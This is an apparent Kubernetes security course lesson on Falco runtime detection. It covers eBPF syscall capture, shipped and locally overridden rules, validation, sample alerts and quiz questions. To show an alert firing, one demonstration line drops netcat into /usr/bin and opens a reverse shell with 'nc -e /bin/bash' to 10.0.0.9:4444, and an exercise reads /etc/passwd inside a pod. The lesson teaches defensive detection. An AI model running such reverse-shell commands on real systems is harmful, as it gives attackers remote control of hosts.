>_SecOpsLog_
CoursesKubernetes security & hardeningFalco & behavioral detection

Falco & behavioral detection

Syscall rules that catch a shell in a container.

Advanced14 min · lesson 22 of 24

Prevention fails. Not every time, but often enough that a serious cluster has to plan for the moment an attacker is already running code inside a live pod. RBAC (Role-Based Access Control), Pod Security Admission, and NetworkPolicies are the locks on the doors. Falco is the smoke detector. It doesn't stop the break-in. It screams the instant something inside a container starts behaving like a fire.

Falco is the Cloud Native Computing Foundation (CNCF) runtime detection project, and here's how it sees anything at all. A program can't do anything interesting on its own. Every time it wants to do something real, like open a file, start a process, or reach out over the network, it has to ask the Linux kernel to do it for it. That request is a syscall (system call). Falco taps that stream. It uses eBPF (extended Berkeley Packet Filter), a safe way to run tiny sandboxed programs inside the kernel, so it watches syscalls live without patching the kernel or loading a fragile module. A shell that starts in a container, a write under a system binary directory, an outbound connection from a pod that's only meant to listen: each one is a syscall, and Falco sees it the moment it happens, not on the next scan.

terminal
# apply: install Falco with the modern eBPF driver (nothing to compile per node)
$ helm repo add falcosecurity https://falcosecurity.github.io/charts && helm repo update
$ helm install falco falcosecurity/falco -n falco --create-namespace \
    --set driver.kind=modern_ebpf
 
# verify: the probe attached and every rule file parsed on all nodes
$ kubectl logs -n falco ds/falco | grep -Ei "probe|Loading|source"
Falco version: 0.40.0 (x86_64)
Falco initialized with configuration files:
   /etc/falco/falco.yaml | schema validation: ok
Loading rules from:
   /etc/falco/falco_rules.yaml | schema validation: ok
   /etc/falco/falco_rules.local.yaml | schema validation: ok
Loaded event sources: syscall
Opening 'syscall' source with modern BPF probe.

A Falco rule has three parts you'll read constantly. The condition is a boolean test over syscall fields and reusable macros (named, prewritten conditions you drop into a rule so you don't rewrite the same logic everywhere). The output is the alert text, with %fields filled in at runtime. The priority is how loud it should be, an ordered scale that runs from DEBUG at the quiet end up through NOTICE, WARNING, ERROR, and CRITICAL to EMERGENCY at the top. The shipped ruleset already covers the classics, so most of the job is reading a rule well enough to trust it, then tuning it. This one fires when a shell starts inside any container that has a terminal attached.

falco_rules.yaml (shipped default)
- rule: Terminal shell in container
  desc: A shell was used as the entrypoint or exec target of a container with an attached tty
  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint
    and not user_expected_terminal_shell_in_container_conditions
  output: >
    A shell was spawned in a container with an attached terminal
    (user=%user.name container=%container.name
    image=%container.image.repository cmd=%proc.cmdline tty=%proc.tty)
  priority: NOTICE
  tags: [maturity_stable, container, shell, mitre_execution, T1059]

Tune in the local file, never the shipped one

The shipped rules file gets overwritten every time you upgrade Falco, so you never edit it in place. Keep your changes in falco_rules.local.yaml instead. Falco reads it last, and when two rules share a name, the one it reads last wins. It's the difference between scribbling in a library book and keeping your notes on a card tucked inside the cover. To change a shipped rule without rewriting the whole thing, modern Falco gives you an override key: you list only the fields you want to touch, and for each one you say whether your value replaces the shipped value or appends to it. Bump the priority, reshape the output, tack on an exception for a process you know is fine, or write something brand new. One habit worth building: validate the file before you trust it. A typo doesn't fail loudly. Falco quietly skips the broken rule, and you lose the detection without ever being told.

falco_rules.local.yaml
# raise a shipped rule and reshape its text without touching its detection logic.
# the override key names which fields change and how (replace vs append).
- rule: Terminal shell in container
  priority: CRITICAL          # shipped default is NOTICE
  output: >
    Interactive shell opened in a running container
    (user=%user.name container=%container.name
    image=%container.image.repository cmd=%proc.cmdline
    pod=%k8s.pod.name ns=%k8s.ns.name)
  override:
    priority: replace
    output: replace
terminal
# validate before Falco reloads: this catches the silent typo the runtime won't
$ falco --validate /etc/falco/falco_rules.local.yaml
Validating rules file(s):
   /etc/falco/falco_rules.local.yaml
/etc/falco/falco_rules.local.yaml: Ok
Ok
 
# with watch_config_files on (the default), a save hot-reloads in under a minute; no restart
$ kubectl logs -n falco ds/falco --since=90s | grep -i reload
Rules files changed on disk, reloading Falco engine

What actually earns an alert

Alert on the behaviours an attacker can't cheaply avoid and a healthy workload never shows. A shell opening in a container, and especially in a distroless image that ships no shell to spawn in the first place. A brand-new binary executing that was never part of the image. A package manager running inside a container that's already deployed. A read of /etc/shadow. An outbound connection from a pod that's only ever supposed to accept them. These are high-signal because normal traffic doesn't look like this, which is exactly why read-only, immutable containers make every one of these alarms sharper: the fewer legitimate reasons there are to write a file or spawn a shell, the louder the illegitimate ones get.

terminal
# apply: an operator (or an attacker holding a token) drops a shell into a running pod
$ kubectl exec -it payments-api -- bash
 
# verify: Falco emits within the second, now at Critical because of your local override
15:02:31.4 Critical Interactive shell opened in a running container (user=root
  container=payments-api image=registry.internal/payments-api cmd=bash
  pod=payments-api-7d4b9c ns=payments)
 
# apply: the same session drops a netcat binary into a system path and runs it
root@payments-api:/# cp /tmp/nc /usr/bin/nc && /usr/bin/nc -e /bin/bash 10.0.0.9 4444
 
# verify: a binary that was never in the base image just executed. shipped rule, zero tuning.
15:02:58.7 Critical Executing binary not part of base image (proc_exe=/usr/bin/nc
  process=nc command=nc -e /bin/bash 10.0.0.9 4444 container=payments-api user=root)
How a syscall becomes an alert
1syscallexecve, open, connect on the…2eBPF probecopies the event out of the…3rule enginecondition over %fields + macros4match + priorityDEBUG up to EMERGENCY5outputstdout, file, Falcosidekick…
The priority in falco.yaml is a floor applied when rules load: Falco only loads and runs rules at or above it, so anything below the line never fires at all. That's the first place to look when a rule you wrote produces nothing.

Prevention will fail. Detection has to assume a live pod is already hostile and ask what that looks like on the wire and in /proc.

Start from high-confidence rules: shell spawn, container drift, sensitive file reads. Expand after you can triage the volume.

Ship alerts to a place humans see within minutes. A perfect rule with a dead webhook is theater.

Map alerts to runbooks: who gets paged, what kubectl commands they run first, and when to isolate a node. Runtime detection without isolation playbooks becomes a chat stream of scary strings. Write the verification command next to the control in the same pull request, and keep the sample output so the next on-call person can tell pass from fail without guessing.

Try this

Trigger a shell in a pod and confirm Falco (or your runtime detector) emits an alert you can map to the pod name.

terminal
$ kubectl -n payments exec deploy/payments-api -- /bin/sh -c 'id; cat /etc/passwd | head'
uid=10001(nonroot) gid=0(root)
...
 
$ kubectl -n falco logs deploy/falco | grep -i "shell\|payments-api" | tail -5
Warning Unexpected spawn of a shell in a container namespace=payments pod=payments-api-7d9c4b-xk2m1
 
$ # keep overrides local
$ ls /etc/falco/falco_rules.local.yaml
/etc/falco/falco_rules.local.yaml

Takeaway

Falco is the smoke detector for syscalls. Tune local rules, alert on shells and unexpected network, and never edit only the vendor file.

Quick check
01Your falco.yaml sets priority: notice. You add a new local rule with priority: DEBUG, it validates fine, and you trigger the behaviour, but no alert appears. Why?
Incorrect — load order only decides which same-name rule wins; every listed file is read regardless, so ordering isn't the cause.
Correct — the minimum priority filters rules when they load, not alerts when they fire. Raise the rule above notice, or lower the floor.
Incorrect — the driver changes how syscalls are captured, not which priorities get loaded or emitted.
Incorrect — the local file can define brand-new rules on its own; no shipped counterpart is required.
02Falco attaches an eBPF probe to observe activity on a node. What does that design let it do?
Incorrect — that is an image scanner's job; Falco watches runtime behavior, not image layers.
Correct — eBPF runs tiny sandboxed programs in the kernel, so Falco taps the syscall stream safely and sees events the moment they happen.
Incorrect — the audit log is a separate control-plane layer; Falco reads syscalls on the host, not API requests.
Incorrect — Falco is a detector; it alerts on syscalls, it does not prevent them.
03You add a new rule to falco_rules.local.yaml, but misspell a field name. Falco reloads without error, yet triggering the behaviour produces no alert. What happened?
Incorrect — a typo does not fail loudly; Falco kept running and loaded the rest of your rules.
Incorrect — the local file is read last and wins on same-named rules; here the rule simply failed to parse.
Correct — a broken rule is quietly dropped, not announced, which is why you validate the file before trusting it.
Incorrect — a misspelled field is not a priority issue; the rule never loaded at all.
Noise is the enemy of detection
Default rulesets can alert on plenty of benign activity: package managers, init scripts, routine debug sessions. Turn all of it on untuned and your one real alert drowns in the rest. Tune before you roll out. Route low-signal rules to a dashboard or your SIEM (Security Information and Event Management platform), page a human only on a short, rehearsed list of behaviours, and add exceptions for the legitimate processes that would otherwise cry wolf. A detector nobody trusts gets muted, and a muted detector is the same as no detector at all.
Sign, verify & allow registriesContainer immutability at runtime

Related

What Kubernetes isKubernetes fundamentalsCluster architectureKubernetes administrationThe cluster attack surfaceKubernetes attack & defenseKubernetes interview questionsInterview prep